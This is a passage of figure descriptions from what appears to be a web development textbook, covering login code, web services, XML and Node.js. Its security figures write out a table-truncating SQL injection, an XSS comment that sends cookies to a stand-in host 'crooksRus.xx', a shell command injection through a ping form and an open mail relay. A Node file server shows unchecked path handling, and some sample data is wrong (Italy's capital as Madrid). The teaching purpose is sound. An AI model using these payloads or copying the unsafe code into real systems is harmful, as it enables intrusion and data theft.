thawte, Inc.

The Go Daddy Group, Inc.

The USERTRUST Network

Trustis Limited

Turkiye Bilimsel ve Teknolojik Arastirma Kuru...

TURKTRUST Bilgi Iletisim ve Bilisim Guvenligi...

Unizeto Sp. z.o.o.

Unizeto Technologies S.A.

ValiCert, Inc.

VeriSign, Inc.

VISA

...etc

Tab also displays buttons with following labels: View, Edit Trust, Import,
Export, and Delete or Distrust. Ok button is displayed at bottom of screen.



Screen shows following text:

This Connection is Untrusted (displayed in bigger, bold font)

You have asked Firefox to connect securely to funwebdev.com, but we
can't confirm that your connection is secure.

Normally when you try to connect securely, sites will present trusted
identification to prove that you are going to the right place. However,
this site's identity can't be verified.

What Should I Do? (displayed in bigger, bold font)

If you usually connect to this site without problems, this error could
mean that someone is trying to impersonate the site, and you shouldn't
continue.

(A button is displayed with a label “Get me out of here!)

Technical Details (displayed in a bold font) are:

funwebdev.com uses an invalid security certificate.

The certificate is not trusted because it is self-signed.

(Error code: sec_error_untrusted_issuer)

“I Understand the Risks” (This link is displayed in a bold font).

http://funwebdev.com
http://funwebdev.com


Illustration shows five steps.

Step 1 shows a login page on a browser where user has submitted a username
and password. “POST login.php--uname, pword” triggers following helper
function in authentication browser:

function validateUser($username,$password) {

$pdo = new PDO(DBCONN_STRING,DBUSERNAME,DBPASS);

$sql = “SELECT Salt FROM Users WHERE Username=?”;

$statement = $pdo->prepare($sql);

$statement->execute(array($username));

$salt = $statement->fetchColumn();

$saltSql = “SELECT UserID FROM Users

WHERE Username=? AND Password=?”;

$params = array($username, md5($password . $salt));

$statment = $pdo->prepare($saltSql);

$statement->execute($params);

if ($statement->rowCount())

return true;

}

return false;

}



From above code block, line “$statement->execute(array($username));”
queries DBMS to retrieve “salt”, which is displayed as “$salt = $statement-
>fetchColumn();” in next line. This is highlighted as Step 2.

Submitted value for username and password are hashed with stored salt,
which is depicted in these two lines of code block:

$saltSql = “SELECT UserID FROM Users WHERE Username=? AND
Password=?”;

$params = array($username, md5($password . $salt));

Code queries DBMS again to check for this submitted value in following
line:

$statement->execute($params);

This is depicted as Step 3. The true or false value is returned by database.

Illustration next shows “login.php” code as follows:

session_start();

if (isset($_POST['uname']) ) {

if (validateUser($_POST['uname'],$_POST['pword']) {

$_SESSION['user']=$_POST['uname'];

echo HomeScreen();

}

else

echo LoginFormErrorPage();

}



Step 4. If the authentication is correct, login session is validated by line,
“echo HomeScreen();”. A login screen with “Welcome Picasso: Home page”
is displayed.

Step 5 shows, if authentication is wrong, login fails, as indicated by line,
“echo LoginFormErrorPage();”. An error message, “User/Password do not
exist” is displayed in login screen.



First login process shows 6 steps.

Step 1 shows a login page where user enters username and password, and
selects “remember me” checkbox.

In step 2, credential information is POSTed (but encrypted via HTTPS). The
encrypted information is displayed as
“user=picasso&password=something&remember=on”.

In step 3, decrypted credential information and relevant salt is hashed and
then checked in database.

In step 4, random tokenis generated and saved (hashed and salted) in token
table, associated with user. Both step 3 and step 4 point to a database server.

In step 5, a random token is returned as persistent cookie, which is displayed
as, “Set-Cookie: token=d6AJ4384jgKB3;expires=...”.

This token is saved as persistent cookie in step 6.

Second process shows 7 steps.

In step 1, user visits same site next day.

Step 2 shows token cookie for site retrieved, which is shown as “Cookie:
token=d6AJ4384jgKB3”.

Step 3 states that if token hasn't expired then cookie accompanies request.

In step 4, token and relevant salt is hashed and then checked against token
table.

In step 5, user is logged in if there is a match, and then new token is
generated and saved.

Step 6 states that “the requested resource is returned along with new token as
persistent cookie” which is displayed as, “Set-Cookie:
token=86dHH3khj333;expires=....”.



In seventh and final step, token is saved as persistent cookie.



Figure shows five screenshots of Nagios web interface. First screen is a panel
on left titled Nagios. It displays following buttons, some of which are
selected.

General

- Home

- Documentation

Current Status

- Tactical Overview

- Map

- Hosts

- Services

- Host Groups

- Summary

- Grid

- Service Groups

- Summary

- Grid

- Problems

- Reports

Second screen shows “Current Network Status” with last updated date, and
login profile information.



Two screenshots show summary for host status tools and service status tools.
Number of hosts which are up, down, unreachable or pending is indicated in
“Host” summary. Number of services whose status is ok, warning, unknown,
critical, or pending is indicated in “Services” summary.

Last screen shows detailed service status for all hosts. A table lists four hosts
in first column, their 12 services in second column, and their statuses in third
column. All 12 statuses which are shown as Ok, demonstrate a green
background. Table also displays details for last check, duration, number of
attempts and status information.



Illustration shows two login pages.

Left page shows intended usage while right page shows a mailicious SQL
injection attack. On left side, login form passes unsanitized login inputs
directly into SQL queries, user inputs “alice” and “abcd” and submits, which
is POSTed into tables as follows:

$user = $_POST['username'];

$pass = $_POST['pass'];

$sql = “SELECT * FROM Users WHERE

uname='$user' AND passwd=MD5('$pass')”;

sqli_query($sql);

...

In right field, a Hacker inputs SQL code ('; TRUNCATE TABLE Users; #)
into User text field and submits. PHP script puts raw fields directly into SQL
query.

In normal login process on left, following query is sent to server:

SELECT * FROM Users WHERE

uname='alice' AND

passwd=MD5('abcd')

The query retrieves data from the table.

In malicious attack, two queries are sent as follows:

SELECT * FROM Users WHERE uname='';

TRUNCATE TABLE Users;



# ' AND passwd=MD5('')

Rest of query is commented out.

In this case, all records in USERs table are deleted because of TRUNCATE
command.



Five steps of XXS attack are depicted as follows:

1. A mailicious user targets a site that is obviously reflecting data from the
user back to them.

(A browser with url "index.php? Name=eve" is displayed. The browser
screen shows the text "Welcome eve...)

2. The malicious user tests a simple XSS to see if it works.

(A browser is displayed with the following url: "index.php?name=
<script>alert("bad");</script>". Text "Welcome..." is displayed in the
browser screen along with a box which contains text "bad" and an "Ok"
button.)

3. The mailicious user crafts a more malicious URL. (shown as
"index.php?name=<script>alert("bad");</script>"). The malicious user
might shorten it with URL shortening device (shown as
"http://bit.ly/au83n9/").

4. The malicious user sends an email to potential users of the site that
contains malicious URL as a link. (Illustration shows a malicious user
sending a mail).

5. The victim clicks the link, and the site reflects the script into the user's
browser. The script executes (unbeknownst to them). The attack is
successful! (Illustration shows the victim user receiving the mail).



Illustration shows five steps.

Step 1 shows a blog site that allows comments on posts by users through a
form. The blog is titled as “Ricardo's blog”. A malicious user adds following
comment, under name “Nice guy”:

<script>

var i = new Image();

i.src=“http://crooksRus.xx/steal.php?cookie=”

+ document.cookie;

</script> You are so right!

In step 2, malicous user “comments” are stored to blog database without any
filtering.

Step 3 shows this malicious code being executed every time comment is
displayed to any user in comment section of Ricardo's blog. Browser shows
an emoticon displayed against malicious comment. A text below browser
reads, “Here we are displaying an image so you can see image that represents
hidden script. It is more common to instead display a tiny transparent image.”

In step 4, malicious code executed on client computer transmits logged-in
user's session cookie to a malicious user's server. The cookie is displayed as
“cookie=a8f201a29b10c34”.

Step 5 states that, “The attacker can use the session cookie to circumvent
authentication thereby accessing the server as though logged in by the other
user.”



Denial of Service illustration shows a client machine sending a "GET
index.php" script in a loop, to a server. A text below client machine reads,
"This computer is running a program or script that is repeatedly requesting a
page from server."

Distributed Denial of Serve illustration shows four different client machines
sending same index.php script in a loop to a server. Text below illustration
reads, "Each computer in this bot army is running the same program or script
that is bombarding the server with requests. These users are probably
unaware that this is happening."



Illustration shows a regular user and a malicious user utilizing same form.
For a regular user, a contact form transmits email of receiver within HTML
into field. On click of submit button, the following query string parameters
are passed:

sender=some-person@where-ever.com

receiver=rhoar@mtroyal.ca

message=[Hello I love your book ...]

Parameters are POSTed as follows:

...

$from = $_POST['sender'];

$to = $_POST['receiver'];

$msg = $_POST['message'];

$header = "From: " . $from . "\r\n";

mail($to, "Form message",$msg,header);

...

This results in a legitimate mail to: rhoar@mtroyal.ca from contact form.

A malicious user, on other hand, sees that you are transmitting email
addresses in HTML and creates a spam script to mail a list of addresses.
Address list is as follows:

Aphrodite@abc.xyz

Apollo@abc.xyz

Ares@abc.xyz

mailto:some-person@where-ever.com
mailto:rhoar@mtroyal.ca
mailto:rhoar@mtroyal.ca
mailto:Aphrodite@abc.xyz
mailto:Apollo@abc.xyz
mailto:Ares@abc.xyz


Artemis@abc.xyz

Athena@abc.xyz

...

Zeus@abc.xyz

This results in the following query string parameters:

sender=fakename@realbank.com

receiver=Aphrodite@abc.xyz

message=[spam (or worse)]

PHP script passes query string input directly to PHP mail() function, as
shown below:

...

$from = $_POST['sender'];

$to = $_POST['receiver'];

$msg = $_POST['message'];

$header = "From: " . $from . "\r\n";

mail($to, "Form message",$msg,header);

...

In next step, form acts as an open relay and lets malicious user send many
messages.

Last part of illustration shows several spam mails sent from malicious user to
multiple email ids as follows:

mailto:Artemis@abc.xyz
mailto:Athena@abc.xyz
mailto:Zeus@abc.xyz
mailto:fakename@realbank.com
mailto:Aphrodite@abc.xyz


Aphrodite@abc.xyz

Apollo@abc.xyz

Zeus@abc.xyz

mailto:Aphrodite@abc.xyz
mailto:Apollo@abc.xyz
mailto:Zeus@abc.xyz


Illustration shows two browsers. Left browser shows a regular user who
pings an ip address through an input form by adding "fundev.com in the
"Enter Ip" field. On click of submit, the user input is passed as a parameter as
follows:

...

$ip = $_POST['ip'];

$ret = exec("ping -c 1 $ip 2>&1", $output);

print_r($output);

print_r($ret);

...

The ping results are displayed as follows in the CMD interface:

Array

(

[0] => PING funwebdev.com (66.147.244.79): ...

[1] => 64 bytes from 66.147.244.79: icmp_seq=0 ...

[2] => 64 bytes from 66.147.244.79: icmp_seq=1 ...

[3] => 64 bytes from 66.147.244.79: icmp_seq=2 ...

[4] => 64 bytes from 66.147.244.79: icmp_seq=3 ...

[5] =>

[6] => --- funwebdev.com ping statistics ---

[7] => 4 packets transmitted, 4 packets ....

http://fundev.com
http://funwebdev.com
http://funwebdev.com


[8] => round-trip min/avg/max/stddev = ...

)

round-trip min/avg/max/stddev = ...

A malicious user, instead inputs reserved characters and commands into text
field. He inputs "funwebdev.com | ls" into the "Enter IP" field.

On click of submit, PHP script passes user input as a parameter to a Unix
command (ping).

In final step, attacker executes arbitrary command (in this case 1s) and gains
knowledge for further exploits and attacks.

The cmd output as displayed to the malicious user is as follows:

Array

(

[0] => a182761.png

[1] => b171628.png

[2] => c998716.png

[3] => super-secret.png

[4] => top-secret.txt

...

)

Z1928.png

http://funwebdev.com


Illustration shows five systems which communicate with each other using
various formats of XML in following ways.

A user machine sends a request to a web server, and server responds back.
Text near response reads, “To determine the validity of a document's HTML,
a validator compares the document to an XML-based schema file.” User
machine sends an asynchronous request to web server, and server responds
back with an XML file. Another text next to this response reads, “XML is
commonly used as the data format in AJAX-based applications.”

Web server sends a request to knowledge management system which sends
back an XML file. Text next to this file reads, “Some document management
systems use XML as a presentation-neutral file format.”

Illustration shows web server send out XML and XML(XSLT) forms, which
pass through a funnel, get converted to HTML documents and are routed
back to web server. Text near HTML documents reads, “XML-based XSLT
transforms XML into HTML.”

Web server sends a request to an external financial system which responds
with an XML form. Text describes this exchange as, “XML is often used as
the data interchange format between different systems and applications.”

External financial system sends a request to a DBMS system which responds
with another XML file. Text next to DBMS system reads, “Some DBMS
systems export data in XML format to interoperate with computing systems
that do not support available database APIs.”



Figure shows three xml formats as follows:

XML data files,

XSL style sheets, and

XSLT transformations.

Three formats pass through an XSLT processor and emerge in three different
document formats as follows:

Presentation format,

Word processing format, and

Web format.



Figure illustrates two processes. In first process, user machine receives XML
and XSLT files from server. Files pass through a JavaScript based XSLT
processor which transforms XML into HTML. Finally, the transformed
HTML is displayed by browser.

In second process, a server receives XML and XSLT files from server or
from other service. Files pass through a PHP based XSLT processor which
transforms the XML into HTML, and transformed HTML page is sent to
browser.



The code is displayed as follows:

<?xml version="1.0" encoding="UTF-8"?>

<html xmlns="http://www.w3.org/1999/xhtml">

<body>

<h1>Catalog</h1>

<ul>

<li>

<h2>Balcony</h2>

<p>By: Manet<br/>

Year: 1868 [Oil on canvas]</p>

</li>

<li>

<h2>The Kiss</h2>

<p>By: Klimt<br/>

Year: 1907 [Oil and gold on canvas]</p>

</li>

<li>

<h2>The Oath of the Horatii</h2>

<p>By: David<br/>Year: 1784 [Oil on canvas]</p>



</li>

</ul>

</body>

</html>

When rendered on screen, browser displays a page titled as "Catalog", with
following details:

*Balcony

By: Manet

Year: 1868 [Oil on Canvas]

*The Kiss

By: Kimz

Year: 1907 [Oil and gold on Canvas]

*The Oath of the Horatii

By: David

Year: 1784 [Oil on Canvas]



First Xpath expression is displayed as:

/art/painting[year > 1800]

The code it selects is shown as follows, where the year is greater than 1800:

<?xml version="1.0" encoding="ISO-8859-1"?>

<art>

<painting id="290">

<title>Balcony</title>

<artist>

<name>Manet</name>

<nationality>France</nationality>

</artist>

<year>1868</year>

<medium>Oil on canvas</medium>

</painting>

<painting id="192">

<title>The Kiss</title>

<artist>

<name>Klimt</name>

<nationality>Austria</nationality>



</artist>

<year>1907</year>

<medium>Oil and gold on canvas</medium>

</painting>

Second expression is shown as:

/art/painting[@id='192']/artist/name

It selects artist name based on id='192' as follows:

<name>Klimt</name>

Third expression is shown as:

/art/painting[3]/@id

It selects id as "139" from the following code:

</painting>

<painting id="139">

<title>The Oath of the Horatii</title>

<artist>

<name>David</name>

<nationality>France</nationality>

</artist>

<year>1784</year>

<medium>Oil on canvas</medium>



</painting>

</art>



Illustration shows a code as follows:

<artist>

<name>Manet</name>

<nationality>France</nationality>

</artist>

JSON expression is displayed as:

{"artist": {"name":"Manet","nationality":"France"}}

In this expression, "artist" is labeled as object, "name" is labeled as Name,
and "Manet" is labeled as Value.

Expression "name": "Manet" points to "<name>Manet</name>" in code.



Illustration shows browser in user machine sending a request for server page
to a web server. Web server in turn requests for web service from an external
financial system. Request is routed through a firewall, and external financial
system sends back a partner web service.

Web server also requests for web service from an internal legacy system.
Request is routed through a firewall, and response arrives as a private web
service.

Web server sends out a request for webservice to a travel service, which
responds with an affiliate web service.

User machine sends an asynchronous JavaScript request for web service to
web server. Server responds with a public web service.

User machine also communicates directly with travel service.

User machine sends an asynchronous JavaScript request for web service to a
mapping service. The mapping service responds with a public web service.

So, the seven steps listed are:

1. Browser request for server page.

2. Web server request for web service.

3. Web server request for web service.

4. Web server request for web service.

5. Asynchronous JavaScript requests for web services.

6. User can connect directly with travel service.

7. Asynchronous JavaScript request for web service.



Illustration shows ten steps that utilize SOAP web services.

Step 1 is described as “At design-time, a web service is developed (tool
generally used to generate SOAP processing code, thus less work for
developer).” The illustration shows a SOAP web service inside web service
server.

Step 2 is described as “At design-time, a WSDL file is generated by tool that
describes service.” A WSDL xml file is depicted inside the server.

In step 3, a WSDL-enabled development tool inside a “Development
machine” communicates with WSDL xml file inside web service server.
Along with it, text reads, “At design-time, tool reads WSDL file to discover
the service's operations (methods).”

Step 4 shows that within development machine, WSDL-enabled development
tool communicates with an application that consumes SOAP service. This
step describes this process as, “At design-time, the tool generates code for
consuming service, thus less work for developer.”

In Step 5, application consuming SOAP service is deployed at design-time
onto a “Production Web server”.

Step 6 shows a browser requesting application that consumes web service.

Step 7 shows the production web server send a “SOAP HTTP” request to
web service server.

In steps 8 and 9, web server processes request, and sends back SOAP HTTP
response to production web server.

In step 10, tool-generated code parses “SOAP-based XML” (which is less
work for developer).



Illustration shows seven steps that utilize REST web service.

In step 1, a web service is developed at design time. Illustration shows a
REST web service inside a web service server.

Step 2 shows a browser communicating with a development or production
web server, and request application that consumes web service.

In step 3, the REST service consuming application inside development server
packages service request into query string parameters.

Step 4 depicts application sending HTTP request to web service operation.

In steps 5 and 6, web service server processes request and sends back the
HTTP response as an xml file.

In step 7, application in development server parses XML (which is more
work for the developer).



Screenshot shows a page from trendsmap.com. A google map of Canada and
U.S. is displayed. Various hashtags from twitter feed are mashed up with
different locations of the map as follows:

Northern Canada: #mmwb, mcmurray, #ymm

Canada-U.S. border: burke, feaster, #flames, flames, @nhflames, #yeg,
saskatchewan, feaster, preston, ruptured...

U.S. westcoast: #christmas, xmas, cano, robinson, @robinsoncano, #tbt,
@mariners, #rctid, #12day, rangers, oregon, #seattle, snapchat.

U.S. mainland: @travelmanitoba, claustrophobia, thumping, #journals,
#nhljets, sprinkler, #winnipeg, slogan

South U.S.: semester, #unitedinorange, xmas, #denver, chargers,
#throwbackthursday, snapchat



Browser shows 12 photos in three rows. Web service request on top of photos
is displayed as follows:

http://api.flickr.com/services/rest/?

Bottom of page shows an URL of image link as follows:

www.flickr.com/photos/31790027...

http://api.flickr.com/services/rest/?


Illustration shows seven steps of process.

In step 1, a development web server sends HTTP request to a web service
server, requesting for latitude and longitude of an address. Request is handled
by Microsoft Bing Maps in JSON web service inside web service server.

In step 2, JSON encoded latitude and longitude values are returned by web
service server to PHP page that consumes services inside development server.

In step 3, development web server requests another web service server for
amenities that are near this latitude and longitude. This HTTP request is
handled by GeoNames in the JSON web service inside that server.

In step 4, service returns JSON-encoded list of names and latitude and
longitude values for amenities.

Step 5 shows development web server sending a request to third web service
server for a static map image that has amenities drawn on it. This HTTP
request is handled by Microsoft Bing Maps in JSON web service inside
server.

Step 6 shows web service server return the JPG image of map with markers
on it.

In step 7, PHP page that consumes services inside development server
displays map image.



Illustration shows following url:

http://dev.virtualearth.net/REST/v1/Imagery/Map/Road/43.65163,-79.40853/16?

In this line, first part,
"http://dev.virtualearth.net/REST/v1/Imagery/Map/Road" is marked as "URL
of service request for static road map image".

Following part, "/43.65163,-79.40853/" is marked as "Location(latitude and
longitude) of center of map".

"16" is marked as Zoom level (between 1 and 21)

Return code for map is shown in illustration as follows:

key=[your api key]

&mapSize=600,400 (marked as "width and height of map in pixels")

&pp=43.65163,-79.40853;66; (marked as "Location of marker (marker 66 =
blue circle)")

&pp=43.65208,-79.40618;34;

&pp=43.65166,-79.40958;34;

Above two lines are marked as, "Location of other markers (amenities) with
marker 34 = orange circle"

Page shows a map of a location that corresponds to values above. A marker is
placed at intersection of "Dundas St W" and "Palmerston Ave". Another
marker is placed at the intersection of "DunDas St W" and "Batburst St".



Screen shows a page titled "Not a Real CRM" where user, John Locke has
logged in. Page shows an address under title "Contact" as:

Robert Brown

796 Dundas Street West

Toronto ON Canada

Under "Recent Visits", a line "No recent visits" is displayed. Under "Recent
Orders", a line, "No recent orders" is displayed.

Page shows a map of toronto with various streets criss-crossing each other.
Contact address on "Dundas Street West" is marked in map with a different
color marker.

Left panel of the screen shows profile information of user and various other
links under "My CRM" and "Products"



"Test output is displayed in browser as follows:

[{"iso": "BS", "name" : "Bahamas" , "value" : "Bahamas", "area" : 13940,
"population" : 301790, "continent" : "NA", "capital" : "Nassau"}.

[{"iso": "CA", "name" : "Canada" , "value" : "Canada", "area" : 9984670
"population" : 336790000, "continent" : "NA", "capital" : "Ottawa"}.

[{"iso": "DE", "name" : "Germany" , "value" : "Germany", "area" : 357021,
"population" : 81802257, "continent" : "EU", "capital" : "Berlin"}.

[{"iso": "GR ", "name" : "Greece " , "value" : "Greece ", "area" : 131940 ,
"population" : 24339838 , "continent" : "EU ", "capital" : "Athens "}.

[{"iso": "HU ", "name" : "Hungary " , "value" : "Hungary ", "area" : 93030 ,
"population" : 9930000 , "continent" : "EU ", "capital" : "Budapest "}.

[{"iso": " ", "name" : " " , "value" : " ", "area" : , "population" : , "continent" :
"EU ", "capital" : "Rome "}.

[{"iso": "IT ", "name" : "Italy " , "value" : "Italy ", "area" : 301230,
"population" : 60340328, "continent" : "EU ", "capital" : "Madrid "}.

[{"iso": "GB ", "name" : "United Kingdom " , "value" : "United Kingdom ",
"area" : 244820, "population" : 62348447 , "continent" : "EU ", "capital" :
"London"}.

[{"iso": "US ", "name" : "United States " , "value" : "United States ", "area"
:9629091, "population" : 310232863 , "continent" : "NA", "capital" :
"Washington "}"



Browser in one screen shows an input field labeled as "Find country". On
entering "Ca", an auto suggest drop down is displayed with following
choices: Cambodia, Cameroon, Canada, Cape Verde, Cayman Islands.

In second screen, input in text field is "Can". Auto suggest box shows
"Canada" as a choice.



Browser shows a page titled as "Our location: This is where we work". A
google location map is displayed in page. This map is made up of nine
individual tiles which are assembled in three rows. Each of these smaller tiles
are also displayed outside browser. Arrows are drawn from each tile outside
browser to its respective place on map inside browser.

Illustration shows browser communicating with server, labeled as
"mts1.googleapis.com". Request is shown as:
"https://mts1.googleapis.comvt?
lyrs=m@22746210&src=apiv3&hl=enUS&x=2997&y=5483&z=14&scale=2&style=59,37%7Csmartmaps

Additional arrows are drawn from individual tiles of map to Google server.



A horizontal bar on top of map shows buttons with following labels: Athens,
Berlin, London, Florence, Roma, Venezia.

Map shows city of Florence, indicating roads, railway lines and waterways.
Various locations are marked in the city. Markers are placed for following 8
locations:

Palazzo Pitti

Ponte Vecchio

Basilica di Santo Spirito

Piazza della Repubblica

Basilica di Santa Maria Novella

Cattedrale di Santa Maria del Fiore

Basilica di Santa Croce di Firenze

Basilica of Santa Croce

For two of above locations, images are displayed on mouse-hover. These two
locations are "Basilica of Santa Croce" and "Basilica di Santa Maria
Novella".



Illustration shows two screens. In first screen, a form titled as "Filter" is
displayed on top. It shows an input field along with a filter button with an
instructional text that reads, "Enter xpath expression". Some example xpath
expressions are displayed beneath input field.

A table titled as "Employees" is displayed below filter form. Employee data
including first name, last name, title, address, city and phone numbers are
displayed in table. Text pointing to this table reads, "Read in data from
employees.xml file and display it within a table."

In second screen, an xpath expresion is entered in filter field as
"/Employees/Employee[EmployeeId=3]". "Employees" table shows a single
record for a user with employee id "3" and first name "Jane". Text here reads,
"The form allows the user to enter an XPath expression that filters the data
read in from the XML file."



Illustration shows two screens. First screen shows map of "J. Paul Getty
Museum"-Los Angeles, USA. Map shows aerial view of museum, identifying
landmarks around it with markers. Two texts next to this map read as
follows: "JavaScript: Display a dynamic map using the Google Maps
JavaScript API." "PHP: This will require echoing the latitude and longitude
fields from the "Gallery" table into the JavaScript."

On left side of map, a "Flickr" feed displays rows of small photos. Text
pointing to this feed reads, "PHP: Display 24 related photos from the Flickr
web service."

Bottom panel displays two rows of paintings under title, "Paintings at the
J.Paul Getty Museum". Text near paintings reads, "PHP: Display paintings
for the gallery."

Second screen shows same map of museum. Bottom panel shows various
comments from visitors to museum under tab, "Google Reviews". Another
tab is displayed for Google Photos. Two texts pointing to these two tabs read
as follows:

"JavaScript: Use the Places Library feature within the Maps JavaScript API,
to retrieve and display place details (photos and reviews)."

"PHP: This will require echoing the GooglePlaceID field from the Gallery
table into the JavaScript."



Illustration shows three screens.

In first screen, a search box is displayed in top panel along with a submit
button. Two texts pointing to this button read as follows:

"JavaScript: Add an autosuggest box that displays matching image titles as
the user types within this textbox". "PHP: This will require the creation of a
web service. "

Page shows a list of countries in a box which is titled as "Countries with
Images". Text pointing to this box reads: "PHP: The browse-countries.php
page provides links to all countries with images in the database."

Second screen shows a Map of Canada. Text next to map reads, "PHP:
Display a static map using the Google Static Maps API"

A form above map displays information about Canada. Text pointing to this
form reads, "PHP: The single-country.php page displays information about
the specified country."

Right panel in this screen shows three columns of images under title "Images
from Canada". Text pointing to these images reads, "PHP: Display the
images for the country, with each one a link to single-image.php"

Another form is displayed below in same panel, listing various cities under
title, "Cities with images from Canada". Text pointing to this form reads,
"PHP: Display the cities with images for the country, with each one a link to
single-city.php."

Third screen shows a map titled as "Roma Map". Two texts next to this map
read as follows:

"JavaScript: This section retrieves the image information from a JSON-based
web service instead of a database."

"JavaScript: Display a dynamic map using the Google Maps JavaScript API."



Map shows various markers. Text pointing to one of markers reads,
"JavaScript: Display each image in the current city as a marker on the map"

Another marker shows a small image on top of it. Text pointing to this
marker reads, "JavaScript: When user clicks on the marker, display small
version of image that links to single-image.php."

A list of cities is shown on right panel under heading, "Other cities". Text
pointing to this list reads, "PHP: Display the cities with images for the
country, with each one a link to single-city.php."

A row of images is displayed at the bottom under the title, "Images from
Roma". Text pointing to this row reads, "JavaScript: When user clicks on the
marker, display small version of image that links to single-image.php".



Illustration shows two line graphs, a bar graph and a table to compare the
following four frameworks:

Angular

Backbone

Ember

React

First line graph is from libscore.com. It plots months from December to May
on x axis, and a measurement from 0k to 20k in increment of 5 on y axis.
Four lines are drawn representing four frameworks. Line for "angular"
framework remains constant at zero throughout. Line graph depicting "React"
measures approximately 1k through all months, dipping down towards zero
in last month.

"Angular" starts at 10k and moves up with an upward slope. "Backbone"
starts at 11k and moves with a steeper upward slope, rising abruptly in
March.

Second line graph is from "Google Trends." It plots time on x axis, marking
January between 2013 and 2016. Graph shows four lines. Ember and
Backbone run at zero throughout. "React" remains near zero up to mid 2014,
and then shows a slight upward rise. "Angular" shows a steady rise from
beginning and moves on a steep upwards slope from January 2014.

Bar graph labeled "Interest over time" shows three bars. Shortest bar
represents two attributes, "Ember" and "Backbone" which is near zero. Bar
depicting "React" is almost five times that of "Ember" and "Backbone." Bar
for "Angular" stands tallest, at almost five times that of "React".

Table shows four columns labeled after the four frameworks. Three rows
compare the performance of frameworks over following parameters:

Stackoverflow questions: Angular: 187k,; Backbone: 20k; Ember: 19k;



React: 19k

StackShare stacks: Angular: 3.7k; Backbone: 1.3k; Ember: 0.4k; React: 1.7k

Github stars: Angular: 51k; Backbone: 25k; Ember: 16k; React: 46k.



Three graphs are taken from Indeed.com. First two graphs show trends in job
postings. Text below first graph reads, "There are more (in terms of absolute
numbers) jobs postings looking for people with experience in established
programming environments such as Java, .NET, and JavaScript."

In first graph, X axis plots the years between 2012 and 2016. Y axis plots the
percentage of matching job postings, ranging from 0 to 4.5 in increment of
0.5. Graph shows seven lines, with each of them representing a particular
technology. Line for Node.js remains almost at zero through all years. PHP
and HTML5 start at 0.3 and 0.6 respectively, and remain almost constant
through 2012 to 2016, converging to 0.4 at 2016. Line for CSS starts at 1.1,
and fluctuates over years, declining to about 0.8 by 2016. Line for Javascript
starts at 2.0 in 2012, and gradually declines to 1.5 by 2016. Similarly, reading
for Java declines from 2.8 to 1.8. Last line for dotNET starts at 3, shows wild
fluctuations to reach 4.5 by end of 2015, and then drops to less than 2.0 in
2016.

Second graph shows the following text: "But in terms of growth, you can see
that Node.js has experienced the largest growth rate relative to the other web
technologies."

X axis shows the years from 2012 to 2016. Y axis shows percentage of
matching job postings. Graph shows seven different line curves. Six line
curves depicting Java, JavaScript, CSS, HTML5, PHP, and dotNET show
steady fluctuations between 0 and 100 over the years. However, the line
curve depicting Node.js shows a steady and steep increase, starting from 0 in
2012, and ending at 800 in 2016.

Third graph plots jobseeker interest versus job postings. X axis plots the
years between 2014 and 2016. Y axis plots ratio of interested jobseekers to
jobpostings. Markings on Y axis ranges from 9x to 1 (in decreasing order) for
job postings, and from 1 to 4x (in increasing order) for jobseekers. A
horizontal line is drawn at y=1, parallel to x axis.

Seven line curves are drawn in graph. Line curves depicting Java and PHP
are shown above y=1, starting at y=3 and y=2 respectively, and rising up
steadily. Remaining five line curves are shown below y=1. Line curves



depicting dotNet, JavaScript, Node.js, CSS and HTML5 start at 1, 1.5, 2, 3.5
and 4 respectively, and fluctuate over the years to end up at almost same
values in 2016.

Text pointing to lines that represents dotNet, JavaScript and Node.js reads,
"According to this chart, these three technologies have the fewest number of
applicants per job posting. This means the demand is high, but the supply of
available potential employees for these positions is low."



Step 1 shows a sender dispatching new chat message from her workstation.

Step 2 shows that message is received by a server which processes new
message request.

In step 3, server pushes out new message to all interested listeners.

Five other recepients receive this message on their hand held devices or
laptops.



"Illustration shows an overview of a restaurant. A few customers are shown
sitting in lobby. y axis represents the requests waiting for available threads.
Three couples are seated at their tables, waiting to be served after having
placed their orders. y axis represents request waiting for responses.

Illustration shows four bearers who represent application thread. First bearer
is shown mixing drinks. Text next to him reads, "Each thread executes the
entirety of the web application". Second bearer is shown cooking a dish. Text
next to him reads, "This thread is blocked while it performs lengthy tasks."

Third bearer waits near a shopping mall aisle, where a lady walks by with a
shopping cart. Shopping mall aisle is labled as database thread. Text next to
this bearer reads, "This thread is blocked while it waits for the database".

Fourth bearer is found attending to one of the customers at a table. Text next
to him reads, "This thread's done and the generated response is being
delivered (finally)".



Figure shows a restaurant where customers are seated at tables arranged in
two semi-circles. These customers represent requests waiting for responses.
A single bearer is shown handling all their orders. Text next to him reads,
"There is only a single thread running in an even loop".

Bearer is shown moving between three counters. On first counter, two
bartenders are shown mixing drinks. Second counter shows another cook
collecting items from a lady with a shopping cart at a shopping mall aisle.
Shopping mall aisle is labeled as "database thread". Third counter shows
three cooks preparing dishes. Text next to these counters reads, "Potential
blocking tasks run asynchronously thus do not block main event loop".

Another text near database thread reads, " These other tasks will signal when
ready for event loop response".

Text near semi-circular seating arrangement of customers reads, "This
architecture can handle way more requests at a time".



Illustration shows a command line interface and a browser. Text pointing to
the command interface reads, "First you have to run the program via node
command (You can stop the program via Ctrl-C)"

In the interface screen, first line shows path where Node.js is installed. Next
two lines are displayed as follows:

$ node hello.js

Server running at http://127.0.0.1:7000/

Step 2 shows text pointing at a browser that reads as follows:

"Then use browser to request URL and port.

Note: every time you make a change to your Node source file, you will have
to stop the program and re-run it."

browser shows a url as "127.0.0.1:7000", and displays following line:

"Hello this is our first node.js application"



The code, titled as "fileserver.js" is shown as follows:

var http = require("http");

var url = require("url");

var path = require("path");

var fs = require("fs"); ( Text reads, "Using two new modules in this example
that process URL paths and read/write local files.")

// our HTTP server now returns requested files

var server = http.createServer(function (request, response) {

// get the filename from the URL

var requestedFile = url.parse(request.url).pathname;

// now turn that into a file system file name by adding the current

// local folder path in front of the filename

var filename = path.join(process.cwd(), requestedFile);

// check if it exists on the computer

fs.exists(filename, function(exists) {

// if it doesn't exist, then return a 404 response

if (! exists) {

response.writeHead(404, (A browser window is displayed here, where a 404
error message is displayed)

{"Content-Type": "text/html"});



response.write("<h1>404 Error</h1>\n");

response.write(" requested file isn't on this machine\n");

response.end();

return;

}

// if no file was specified, then return default page

if (fs.statSync(filename).isDirectory())

filename += '/index.html'; (A browser window is displayed here, where the
following message is displayed, "Default page when no file is specified")

// file was specified then read it in and send its

// contents to requestor

fs.readFile(filename, "binary", function(err, file) {

// maybe something went wrong ...

if (err) {

response.writeHead(500, {"Content-Type": "text/html"});

response.write("<h1>500 Error</h1>\n");

response.write(err + "\n");

response.end();

